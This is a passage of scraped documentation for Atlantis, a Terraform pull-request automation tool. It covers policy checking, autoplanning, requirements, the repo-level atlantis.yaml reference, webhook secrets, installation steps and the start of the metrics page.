"(?m)^FAIL.*" policy_sets: - name: security-policy path: /policies/security source: local policy_item_regex: ".+" ### Duplicate approval prevention [​](https://www.runatlantis.io/docs/policy-checking#duplicate-approval-prevention) When sticky approvals are used with `approve_count > 1`, the same user cannot provide multiple approvals for the same policy set with the same hashes. If a user has already fully approved a policy set and the extracted items haven't changed, subsequent approval attempts by the same user will produce an error asking for a different policy owner to approve. Running policy check only on some repositories [​](https://www.runatlantis.io/docs/policy-checking#running-policy-check-only-on-some-repositories) --------------------------------------------------------------------------------------------------------------------------------------------------- When policy checking is enabled it will be enforced on all repositories, in order to disable policy checking on some repositories first [enable policy checks](https://www.runatlantis.io/docs/policy-checking#getting-started) and then disable it explicitly on each repository with the `policy_check` flag. For server side config: yml # repos.yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /special-repo/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] policy_check: false For repo level `atlantis.yaml` config: yml version: 3 projects: - dir: project1 workspace: staging - dir: project1 workspace: production policy_check: false --- # Autoplanning | Atlantis [Skip to content](https://www.runatlantis.io/docs/autoplanning#VPContent) On this page Autoplanning [​](https://www.runatlantis.io/docs/autoplanning#autoplanning) ============================================================================ On any **new** pull request or **new commit** to an existing pull request, Atlantis will attempt to run `terraform plan` in the directories it thinks hold modified Terraform projects. The algorithm it uses is as follows: 1. Get list of all modified files in pull request 2. Filter to those matching the configured [`--autoplan-file-list`](https://www.runatlantis.io/docs/server-configuration#autoplan-file-list) (default includes `.tf`, `.tf.json`, `.tfvars`, `.tofu`, `.tofu.json`, etc.) 3. Get the directories that those files are in 4. If the directory path doesn't contain `modules/` then try to run `plan` in that directory 5. If it does contain `modules/` look at the directory one level above `modules/`. If it contains a supported project indicator file (`*.tf`, `*.tf.json`, `*.tofu`, `*.tofu.json`, or `terragrunt.hcl`) run plan in that directory, otherwise ignore the change (see below for exceptions). Example [​](https://www.runatlantis.io/docs/autoplanning#example) ------------------------------------------------------------------ Given the directory structure: plain . ├── modules │   └── module1 │   └── main.tf └── project1 ├── main.tf └── modules └── module1 └── main.tf * If `project1/main.tf` were modified, we would run `plan` in `project1` * If `modules/module1/main.tf` were modified, we would not automatically run `plan` because we couldn't determine the location of the terraform project * You could use an [atlantis.yaml](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) file to specify which projects to plan when this module changed * You could enable [module autoplanning](https://www.runatlantis.io/docs/server-configuration#autoplan-modules) which indexes projects to their local module dependencies. * Or you could manually plan with `atlantis plan -d ` * If `project1/modules/module1/main.tf` were modified, we would look one level above `project1/modules` into `project1/`, see that there was a `main.tf` file and so run plan in `project1/` Bitbucket-Specific Notes [​](https://www.runatlantis.io/docs/autoplanning#bitbucket-specific-notes) ---------------------------------------------------------------------------------------------------- Bitbucket does not have a webhook that triggers only upon a new PR or commit. To fix this we cache the last commit to see if it has changed. If the cache is emptied, Atlantis will think your commit is new and you may see extra plans. This scenario can happen if: * Atlantis restarts * You are running multiple Atlantis instances behind a load balancer Customizing [​](https://www.runatlantis.io/docs/autoplanning#customizing) -------------------------------------------------------------------------- If you would like to customize how Atlantis determines which directory to run in or disable it all together you need to create an `atlantis.yaml` file. See * [Disabling Autoplanning](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#disabling-autoplanning) * [Configuring Planning](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) --- # Requirements | Atlantis [Skip to content](https://www.runatlantis.io/docs/requirements#VPContent) On this page Requirements [​](https://www.runatlantis.io/docs/requirements#requirements) ============================================================================ Atlantis works with most Git hosts and Terraform setups. Read on to confirm it works with yours. Git Host [​](https://www.runatlantis.io/docs/requirements#git-host) -------------------------------------------------------------------- Atlantis integrates with the following Git hosts: * GitHub (public, private or enterprise) * GitLab (public, private or enterprise) * Gitea (public, private and compatible forks like Forgejo) * Bitbucket Cloud aka bitbucket.org (public or private) * Bitbucket Server aka Stash * Azure DevOps ### GitLab Version [​](https://www.runatlantis.io/docs/requirements#gitlab-version) Atlantis supports actively maintained GitLab versions. GitLab 15.6 introduced `detailed_merge_status`, which Atlantis uses for more accurate [mergeable apply requirement](https://www.runatlantis.io/docs/apply-requirements) checks. On older GitLab versions, Atlantis falls back to the legacy `merge_status` field, which can report a merge request as mergeable even when the branch needs a rebase. Terraform State [​](https://www.runatlantis.io/docs/requirements#terraform-state) ---------------------------------------------------------------------------------- Atlantis supports all backend types **except for local state**. We don't support local state because Atlantis does not have permanent storage and it doesn't commit the new statefile back to version control. TIP If you're looking for an easy remote state solution, check out [free remote state](https://app.terraform.io/) storage from Terraform Cloud. This is fully supported by Atlantis. Repository Structure [​](https://www.runatlantis.io/docs/requirements#repository-structure) -------------------------------------------------------------------------------------------- Atlantis supports any Terraform repository structure, for example: ### Single Terraform Project At Repo Root [​](https://www.runatlantis.io/docs/requirements#single-terraform-project-at-repo-root) plain . ├── main.tf └── ... ### Multiple Project Folders [​](https://www.runatlantis.io/docs/requirements#multiple-project-folders) plain . ├── project1 │   ├── main.tf | └── ... └── project2    ├── main.tf └── ... ### Modules [​](https://www.runatlantis.io/docs/requirements#modules) plain . ├── project1 │   ├── main.tf | └── ... └── modules    └── module1    ├── main.tf └── ... With modules, if you want `project1` automatically planned when `module1` is modified you need to create an `atlantis.yaml` file. See [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) for more details. ### Terraform Workspaces [​](https://www.runatlantis.io/docs/requirements#terraform-workspaces) _See [Terraform's docs](https://developer.hashicorp.com/terraform/language/state/workspaces) if you are unfamiliar with workspaces._ If you're using Terraform `>= 0.9.0`, Atlantis supports workspaces through an `atlantis.yaml` file that tells Atlantis the names of your workspaces (see [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#supporting-terraform-workspaces) for more details) ### .tfvars Files [​](https://www.runatlantis.io/docs/requirements#tfvars-files) plain . ├── production.tfvars │── staging.tfvars └── main.tf Atlantis supports `.tfvars` files in two ways: #### Automatic env/{workspace}.tfvars files [​](https://www.runatlantis.io/docs/requirements#automatic-env-workspace-tfvars-files) Atlantis automatically includes workspace-specific variable files if they exist in an `env/` directory: plain . ├── main.tf ├── variables.tf └── env/ ├── default.tfvars ├── staging.tfvars └── production.tfvars When using this structure, Atlantis will automatically include the appropriate file based on the workspace: * `atlantis plan` includes `env/default.tfvars` * `atlantis plan -w staging` includes `env/staging.tfvars` * `atlantis plan -w production` includes `env/production.tfvars` This requires no additional configuration and works automatically. #### Custom .tfvars files with atlantis.yaml [​](https://www.runatlantis.io/docs/requirements#custom-tfvars-files-with-atlantis-yaml) For other `.tfvars` file locations or structures, you need to create an `atlantis.yaml` file to tell Atlantis to use `-var-file={YOUR_FILE}`. See [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/custom-workflows#tfvars-files) for more details. ### Multiple Repos [​](https://www.runatlantis.io/docs/requirements#multiple-repos) Atlantis supports multiple repos as well–as long as there is a webhook configured for each repo. Terraform Versions [​](https://www.runatlantis.io/docs/requirements#terraform-versions) ---------------------------------------------------------------------------------------- Atlantis supports all Terraform versions (including 0.12) and can be configured to use different versions for different repositories/projects. See [Terraform Versions](https://www.runatlantis.io/docs/terraform-versions) . Next Steps [​](https://www.runatlantis.io/docs/requirements#next-steps) ------------------------------------------------------------------------ * If your Terraform setup meets the Atlantis requirements, continue the installation guide and set up your [Git Host Access Credentials](https://www.runatlantis.io/docs/access-credentials) --- # Repo Level atlantis.yaml Config | Atlantis [Skip to content](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#VPContent) On this page Repo Level atlantis.yaml Config [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#repo-level-atlantis-yaml-config) ============================================================================================================================== An `atlantis.yaml` file specified at the root of a Terraform repo allows you to instruct Atlantis on the structure of your repo and set custom workflows. Do I need an atlantis.yaml file? [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#do-i-need-an-atlantis-yaml-file) ------------------------------------------------------------------------------------------------------------------------------- `atlantis.yaml` files are only required if you wish to customize some aspect of Atlantis. The default Atlantis config works for many users without changes. Read through the [use-cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#use-cases) to determine if you need it. Enabling atlantis.yaml [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#enabling-atlantis-yaml) ------------------------------------------------------------------------------------------------------------ By default, all repos are allowed to have an `atlantis.yaml` file, but some of the keys are restricted by default. Restricted keys can be set in the server-side `repos.yaml` repo config file. You can enable `atlantis.yaml` to override restricted keys by setting the `allowed_overrides` key there. See the [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) for more details. **Notes:** * By default, repo root `atlantis.yaml` file is used. * You can change this behaviour by setting [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) DANGER Atlantis uses the `atlantis.yaml` version from the pull request, similar to other CI/CD systems. If you're allowing users to [create custom workflows](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-define-their-own-workflows) then this means anyone that can create a pull request to your repo can run arbitrary code on the Atlantis server. By default, this is not allowed. WARNING Once an `atlantis.yaml` file exists in a repo and one or more `projects` are configured, Atlantis won't try to determine where to run plan automatically. Instead it will just follow the project configuration. This means that you'll need to define each project in your repo. If you have many directories with Terraform configuration, each directory will need to be defined. This behavior can be overridden by setting `autodiscover.mode` to `enabled` in which case Atlantis will still try to discover projects which were not explicitly configured. If the directory of any discovered project conflicts with a manually configured project, the manually configured project will take precedence. Example Using All Keys [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#example-using-all-keys) ------------------------------------------------------------------------------------------------------------ yaml version: 3 # Available since v0.1.0 automerge: true # Available since v0.15.0 autodiscover: # Available since v0.18.0 mode: auto ignore_paths: - some/path delete_source_branch_on_merge: true # Available since v0.15.0 parallel_plan: true # Available since v0.17.0 parallel_apply: true # Available since v0.17.0 abort_on_execution_order_fail: true # Available since v0.17.0 projects: - name: my-project-name # Available since v0.1.0 branch: /main/ # Available since v0.21.0 dir: . # Available since v0.1.0 workspace: default # Available since v0.1.0 terraform_distribution: terraform # Available since v0.33.0 terraform_version: v0.11.0 # Available since v0.1.0 delete_source_branch_on_merge: true # Available since v0.17.0 repo_locking: true # deprecated: use repo_locks instead, Available since v0.17.0 repo_locks: # Available since v0.17.0 mode: on_plan custom_policy_check: false # Available since v0.17.0 autoplan: # Available since v0.1.0 when_modified: ["*.tf", "../modules/**/*.tf", ".terraform.lock.hcl"] enabled: true plan_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 apply_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 import_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 silence_pr_comments: ["apply"] # Available since v0.17.0 execution_order_group: 1 # Available since v0.17.0 depends_on: # Available since v0.20.0 - project-1 workflow: myworkflow # Available since v0.17.0 workflows: # Available since v0.1.0 myworkflow: plan: steps: - run: my-custom-command arg1 arg2 - run: command: my-custom-command arg1 arg2 output: hide - init - plan: extra_args: ["-lock", "false"] - run: my-custom-command arg1 arg2 apply: steps: - run: echo hi - apply allowed_regexp_prefixes: # Available since v0.19.0 - dev/ - staging/ Example of DRYing up projects using YAML anchors [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#example-of-drying-up-projects-using-yaml-anchors) ---------------------------------------------------------------------------------------------------------------------------------------------------------------- yaml projects: - &template name: template dir: template workflow: custom autoplan: enabled: true when_modified: - "./terraform/modules/**/*.tf" - "**/*.tf" - ".terraform.lock.hcl" - <<: *template name: ue1-prod-titan dir: ./terraform/titan workspace: ue1-prod - <<: *template name: ue1-stage-titan dir: ./terraform/titan workspace: ue1-stage - <<: *template name: ue1-dev-titan dir: ./terraform/titan workspace: ue1-dev Auto generate projects [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#auto-generate-projects) ------------------------------------------------------------------------------------------------------------ This is useful if you have many projects in a repository. This assumes the `default` workspace (or no workspace). Run this in the root of your repository. This will use gnu `grep` to search terraform files for an S3 backend (terraform dir), retrieve the directory path, retrieve the unique entries, and then use `yq` to return the YAML of a simple project dir setup which can then be modified to your liking. sh grep -P 'backend[\s]+"s3"' **/*.tf | rev | cut -d'/' -f2- | rev | sort | uniq | while read d; do \ echo '[ {"name": "'"$d"'","dir": "'"$d"'", "autoplan": {"when_modified": ["**/*.tf.*"] }} ]' | yq -PM; \ done Use Cases [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#use-cases) ---------------------------------------------------------------------------------- ### Disabling Autoplanning [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#disabling-autoplanning) yaml version: 3 projects: - dir: project1 autoplan: enabled: false This will stop Atlantis automatically running plan when `project1/` is updated in a pull request. ### Run plans and applies in parallel [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#run-plans-and-applies-in-parallel) yaml version: 3 parallel_plan: true parallel_apply: true This will run plans and applies for all of your projects in parallel. Enabling these options can significantly reduce the duration of plans and applies, especially for repositories with many projects. Use the `--parallel-pool-size` to configure the max number of plans and applies that can run in parallel. The default is 15. Parallel plans and applies work across both multiple directories and multiple workspaces. ### Configuring Planning [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) Given the directory structure: plain . ├── modules │   └── module1 │   ├── main.tf │   ├── outputs.tf │   └── submodule │   ├── main.tf │   └── outputs.tf └── project1 └── main.tf If you want Atlantis to plan `project1/` whenever any `.tf` files under `module1/` change or any `.tf` or `.tfvars` files under `project1/` change you could use the following configuration: yaml version: 3 projects: - dir: project1 autoplan: when_modified: ["../modules/**/*.tf", "*.tf*", ".terraform.lock.hcl"] Note: * `when_modified` uses the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) * The paths are relative to the project's directory. * `when_modified` will be used by both automatic and manually run plans. * `when_modified` will continue to work for manually run plans even when autoplan is disabled. * The default `when_modified` includes `**/*.tf*`, `**/*.tofu`, `**/*.tofu.json`, `**/terragrunt.hcl`, and `**/.terraform.lock.hcl`. Custom `when_modified` overrides these defaults entirely. ### Supporting Terraform Workspaces [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#supporting-terraform-workspaces) yaml version: 3 projects: - dir: project1 workspace: staging - dir: project1 workspace: production With the above config, when Atlantis determines that the configuration for the `project1` dir has changed, it will run plan for both the `staging` and `production` workspaces. If you want to `plan` or `apply` for a specific workspace you can use shell atlantis plan -w staging -d project1 and shell atlantis apply -w staging -d project1 ### Using .tfvars files [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#using-tfvars-files) See [Custom Workflow Use Cases: Using .tfvars files](https://www.runatlantis.io/docs/custom-workflows#tfvars-files) ### Adding extra arguments to Terraform commands [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#adding-extra-arguments-to-terraform-commands) See [Custom Workflow Use Cases: Adding extra arguments to Terraform commands](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) ### Custom init/plan/apply Commands [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#custom-init-plan-apply-commands) See [Custom Workflow Use Cases: Custom init/plan/apply Commands](https://www.runatlantis.io/docs/custom-workflows#custom-init-plan-apply-commands) ### Terragrunt [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#terragrunt) See [Custom Workflow Use Cases: Terragrunt](https://www.runatlantis.io/docs/custom-workflows#terragrunt) ### Running custom commands [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#running-custom-commands) See [Custom Workflow Use Cases: Running custom commands](https://www.runatlantis.io/docs/custom-workflows#running-custom-commands) ### Terraform Distributions [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#terraform-distributions) If you'd like to use a different distribution of Terraform than what is set by the `--default-tf-version` flag, then set the `terraform_distribution` key: yaml version: 3 projects: - dir: project1 terraform_distribution: opentofu Atlantis will automatically download and use this distribution. Valid values are `terraform` and `opentofu`. If `terraform_version` is omitted and the project uses a `required_version` constraint, Atlantis resolves that constraint against the selected distribution. ### Terraform Versions [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#terraform-versions) If you'd like to use a different version of Terraform than what is in Atlantis' `PATH` or is set by the `--default-tf-version` flag, then set the `terraform_version` key: yaml version: 3 projects: - dir: project1 terraform_version: 0.10.0 Atlantis will automatically download and use this version. ### Requiring Approvals For Production [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#requiring-approvals-for-production) In this example, we only want to require `apply` approvals for the `production` directory. yaml version: 3 projects: - dir: staging - dir: production plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] WARNING `plan_requirements`, `apply_requirements` and `import_requirements` are restricted keys so this repo will need to be configured to be allowed to set this key. See [Server-Side Repo Config Use Cases](https://www.runatlantis.io/docs/server-side-repo-config#repos-can-set-their-own-apply-requirements) . ### Order of planning/applying [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#order-of-planning-applying) yaml version: 3 abort_on_execution_order_fail: true projects: - dir: project1 execution_order_group: 2 - dir: project2 execution_order_group: 1 With this config above, Atlantis runs planning/applying for project2 first, then for project1. Several projects can have same `execution_order_group`. Any order in one group isn't guaranteed. `parallel_plan` and `parallel_apply` respect these order groups, so parallel planning/applying works in each group one by one. If any plan/apply fails and `abort_on_execution_order_fail` is set to true on a repo level, all the following groups will be aborted. For this example, if project2 fails then project1 will not run. Execution order groups are useful when you have dependencies between projects. However, they are only applicable in the case where you initiate a global apply for all of your projects, i.e `atlantis apply`. If you initiate an apply on a single project, then the execution order groups are ignored. Thus, the `depends_on` key is more useful in this case. and can be used in conjunction with execution order groups. The following configuration is an example of how to use execution order groups and depends\_on together to enforce dependencies between projects. yaml version: 3 projects: - name: development dir: . autoplan: when_modified: ["*.tf", "vars/development.tfvars"] execution_order_group: 1 workspace: development workflow: infra - name: staging dir: . autoplan: when_modified: ["*.tf", "vars/staging.tfvars"] depends_on: ["development"] execution_order_group: 2 workspace: staging workflow: infra - name: production dir: . autoplan: when_modified: ["*.tf", "vars/production.tfvars"] depends_on: ["staging"] execution_order_group: 3 workspace: production workflow: infra the `depends_on` feature will make sure that `production` is not applied before `staging` for example. TIP What Happens if one or more project's dependencies are not applied? If there's one or more projects in the dependency list which is not in applied status, users will see an error message like this: `Can't apply your project unless you apply its dependencies` ### Autodiscovery Config [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#autodiscovery-config) yaml autodiscover: mode: "auto" The above is the default configuration for `autodiscover.mode`. When `autodiscover.mode` is auto, projects will be discovered only if the repo has no `projects` configured. yaml autodiscover: mode: "disabled" With the config above, Atlantis will never try to discover projects, even when there are no `projects` configured. This is useful if dynamically generating Atlantis config in pre\_workflow hooks. See [Dynamic Repo Config Generation](https://www.runatlantis.io/docs/pre-workflow-hooks#dynamic-repo-config-generation) . yaml autodiscover: mode: "enabled" With the config above, Atlantis will unconditionally try to discover projects based on modified\_files, even when the directory of the project is missing from the configured `projects` in the repo configuration. If a discovered project has the same directory as a project which was manually configured in `projects`, the manual configuration will take precedence. Use this feature when some projects require specific configuration in a repo with many projects yet it's still desirable for Atlantis to plan/apply for projects not enumerated in the config. This setting is ignored if it is configured on the server, see [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config#repo) yaml autodiscover: mode: "enabled" ignore_paths: - dir/* Autodiscover can also be configured to skip over directories that match a path glob (as defined by the [doublestar path matching package](https://pkg.go.dev/github.com/bmatcuk/doublestar/v4) ). When `ignore_paths` is set, it applies to: * Automatic project discovery during autoplan and `atlantis plan` (without `-d`) * `atlantis apply` (without `-d`) when filtering pending plans * All targeted `-d` commands (`plan`, `apply`, `import`, `state rm`, etc.) when autodiscovery is enabled, if the path has no explicit project configuration This makes `ignore_paths` useful for **multi-instance setups** where each Atlantis instance manages a different directory subtree. For example, one instance can ignore `environments/prod/**` while another ignores `environments/nonprod/**`, preventing cross-instance interference on targeted commands. ### Custom Backend Config [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#custom-backend-config) See [Custom Workflow Use Cases: Custom Backend Config](https://www.runatlantis.io/docs/custom-workflows#custom-backend-config) Reference [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#reference) ---------------------------------------------------------------------------------- ### Top-Level Keys [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#top-level-keys) yaml version: 3 automerge: false delete_source_branch_on_merge: false projects: workflows: allowed_regexp_prefixes: | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | version | int | none | **yes** | This key is required and must be set to `3`. | | automerge | bool | `false` | no | Automatically merges pull request when all plans are applied. | | delete\_source\_branch\_on\_merge | bool | `false` | no | Automatically deletes the source branch on merge. | | projects | array\[[Project](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#project)
\] | `[]` | no | Lists the projects in this repo. | | workflows
_(restricted)_ | map\[string: [Workflow](https://www.runatlantis.io/docs/custom-workflows#reference)
\] | `{}` | no | Custom workflows. | | allowed\_regexp\_prefixes | array\[string\] | `[]` | no | Lists the allowed regexp prefixes to use when the [`--enable-regexp-cmd`](https://www.runatlantis.io/docs/server-configuration#enable-regexp-cmd)
flag is used. | ### Project [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#project) yaml name: myname branch: /mybranch/ dir: mydir workspace: myworkspace execution_order_group: 0 delete_source_branch_on_merge: false repo_locking: true # deprecated: use repo_locks instead repo_locks: mode: on_plan custom_policy_check: false autoplan: terraform_version: 0.11.0 plan_requirements: ["approved"] apply_requirements: ["approved"] import_requirements: ["approved"] silence_pr_comments: ["apply"] workflow: myworkflow | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | name | string | none | maybe | Required if there is more than one project with the same `dir` and `workspace`. This project name can be used with the `-p` flag. | | branch | string | none | no | Regex matching projects by the base branch of pull request (the branch the pull request is getting merged into). Only projects that match the PR's branch will be considered. By default, all branches are matched. | | dir | string | none | **yes** | The directory of this project relative to the repo root. For example if the project was under `./project1` then use `project1`. Use `.` to indicate the repo root. | | workspace | string | `"default"` | no | The [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces)
for the project. Atlantis switches to it at plan/apply. No `/`, `\\`, `..`, `$`, whitespace or control chars, nor start with `-` or `~`. | | execution\_order\_group | int | `0` | no | Index of execution order group. Projects will be sorted by this field before planning/applying. | | delete\_source\_branch\_on\_merge | bool | `false` | no | Automatically deletes the source branch on merge. | | repo\_locking | bool | `true` | no | (deprecated) Get a repository lock in this project when plan. | | repo\_locks | [RepoLocks](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#repolocks) | `mode: on_plan` | no | Get a repository lock in this project on plan or apply. See [RepoLocks](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#repolocks)
for more details. | | custom\_policy\_check | bool | `false` | no | Enable using policy check tools other than Conftest | | autoplan | [Autoplan](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#autoplan) | none | no | A custom autoplan configuration. If not specified, will use the autoplan config. See [Autoplanning](https://www.runatlantis.io/docs/autoplanning)
. | | terraform\_version | string | none | no | A specific Terraform version to use when running commands for this project. Must be [Semver compatible](https://semver.org/)
, ex. `v0.11.0`, `0.12.0-beta1`. | | plan\_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | apply\_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | import\_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | silence\_pr\_comments | array\[string\] | none | no | Silence PR comments from defined stages while preserving PR status checks. Supported values are: `plan`, `apply`. | | workflow
_(restricted)_ | string | none | no | A custom workflow. If not specified, Atlantis will use its default workflow. | TIP A project represents a Terraform state. Typically, there is one state per directory and workspace however it's possible to have multiple states in the same directory using `terraform init -backend-config=custom-config.tfvars`. Atlantis supports this but requires the `name` key to be specified. See [Custom Backend Config](https://www.runatlantis.io/docs/custom-workflows#custom-backend-config) for more details. ### Autoplan [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#autoplan) yaml enabled: true when_modified: ["*.tf", "terragrunt.hcl", ".terraform.lock.hcl"] | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | enabled | boolean | `true` | no | Whether autoplanning is enabled for this project. | | when\_modified | array\[string\] | see below | no | Uses [.dockerignore](https://docs.docker.com/engine/reference/builder/#dockerignore-file)
syntax. If any modified file in the pull request matches, this project will be planned. See [Autoplanning](https://www.runatlantis.io/docs/autoplanning)
. Paths are relative to the project's dir. | Default `when_modified` patterns: `["**/*.tf*", "**/*.tofu", "**/*.tofu.json", "**/terragrunt.hcl", "**/.terraform.lock.hcl"]`. Custom `when_modified` values override these defaults entirely. The default is global (not distribution-aware). ### RepoLocks [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#repolocks) yaml mode: on_apply | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | --- # How Atlantis Works | Atlantis [Skip to content](https://www.runatlantis.io/docs/how-atlantis-works#VPContent) Return to top How Atlantis Works [​](https://www.runatlantis.io/docs/how-atlantis-works#how-atlantis-works) ============================================================================================== This section of docs talks about how Atlantis works at a deeper level. * [Locking](https://www.runatlantis.io/docs/locking) * [Autoplanning](https://www.runatlantis.io/docs/autoplanning) * [Automerging](https://www.runatlantis.io/docs/automerging) * [Security](https://www.runatlantis.io/docs/security) --- # Webhook Secrets | Atlantis [Skip to content](https://www.runatlantis.io/docs/webhook-secrets#VPContent) On this page Webhook Secrets [​](https://www.runatlantis.io/docs/webhook-secrets#webhook-secrets) ===================================================================================== Atlantis uses Webhook secrets to validate that the webhooks it receives from your Git host are legitimate. One way to confirm this would be to allowlist requests to only come from the IPs of your Git host but an easier way is to use a Webhook Secret. NOTE Webhook secrets are actually optional. However they're highly recommended for security. NOTE Azure DevOps uses Basic authentication for webhooks rather than webhook secrets. NOTE An app-wide token is generated during [GitHub App setup](https://www.runatlantis.io/docs/access-credentials#github-app) . You can recover it by navigating to the [GitHub app settings page](https://github.com/settings/apps) and selecting "Edit" next to your Atlantis app's name. Token appears after clicking "Edit" under the Webhook header. Generating A Webhook Secret [​](https://www.runatlantis.io/docs/webhook-secrets#generating-a-webhook-secret) ------------------------------------------------------------------------------------------------------------- You can use any random string generator to create your Webhook secret. It should be > 24 characters. For example: * Generate via Ruby with `ruby -rsecurerandom -e 'puts SecureRandom.hex(32)'` * Generate online with [browserling: Generate Random Strings and Numbers](https://www.browserling.com/tools/random-string) NOTE You must use **the same** webhook secret for each repo. Next Steps [​](https://www.runatlantis.io/docs/webhook-secrets#next-steps) --------------------------------------------------------------------------- * Record your secret * You'll be using it later to [configure your webhooks](https://www.runatlantis.io/docs/configuring-webhooks) , however if you're following the [Installation Guide](https://www.runatlantis.io/docs/installation-guide) then your next step is to [Deploy Atlantis](https://www.runatlantis.io/docs/deployment) --- # Installation Guide | Atlantis [Skip to content](https://www.runatlantis.io/docs/installation-guide#VPContent) Return to top Installation Guide [​](https://www.runatlantis.io/docs/installation-guide#installation-guide) ============================================================================================== This guide is for installing a **production-ready** instance of Atlantis onto your infrastructure: 1. First, ensure your Terraform setup meets the Atlantis **requirements** * See [Requirements](https://www.runatlantis.io/docs/requirements) 2. Create **access credentials** for your Git host (GitHub, GitLab, Gitea, Bitbucket, Azure DevOps) * See [Generating Git Host Access Credentials](https://www.runatlantis.io/docs/access-credentials) 3. Create a **webhook secret** so Atlantis can validate webhooks * See [Creating a Webhook Secret](https://www.runatlantis.io/docs/webhook-secrets) 4. **Deploy** Atlantis into your infrastructure * See [Deployment](https://www.runatlantis.io/docs/deployment) 5. Configure **Webhooks** on your Git host so Atlantis can respond to your pull requests * See [Configuring Webhooks](https://www.runatlantis.io/docs/configuring-webhooks) 6. Configure **provider credentials** so Atlantis can actually run Terraform commands * See [Provider Credentials](https://www.runatlantis.io/docs/provider-credentials) TIP If you want to test out Atlantis first, check out [Test Drive](https://www.runatlantis.io/guide/test-drive) and [Testing Locally](https://www.runatlantis.io/guide/testing-locally) . --- # Metrics/Stats | Atlantis [Skip to content](https://www.runatlantis.io/docs/stats#VPContent) On this page Metrics/Stats [​](https://www.runatlantis.io/docs/stats#metrics-stats) ======================================================================= Atlantis exposes a set of metrics for each of its operations including errors, successes, and latencies. Latency and duration metrics are reported in seconds (for example, the `*_time` metrics in the Prometheus output below), while counter metrics such as successes and errors are unitless. NOTE Currently Statsd and Prometheus is supported. See configuration below for details. Configuration [​](https://www.runatlantis.io/docs/stats#configuration) ----------------------------------------------------------------------- Metrics are configured through the [Server Side Config](https://www.runatlantis.io/docs/server-side-repo-config#metrics) . Available Metrics [​](https://www.runatlantis.io/docs/stats#available-metrics) ------------------------------------------------------------------------------- Assuming metrics are exposed from the endpoint `/metrics` from the [metrics](https://www.runatlantis.io/docs/server-side-repo-config#metrics) server side config e.g. yaml metrics: prometheus: endpoint: "/metrics" To see all the metrics exposed from atlantis service, make a GET request to the `/metrics` endpoint. bash curl localhost:4141/metrics # HELP atlantis_cmd_autoplan_builder_execution_error atlantis_cmd_autoplan_builder_execution_error counter # TYPE atlantis_cmd_autoplan_builder_execution_error counter atlantis_cmd_autoplan_builder_execution_error 0 # HELP atlantis_cmd_autoplan_builder_execution_success 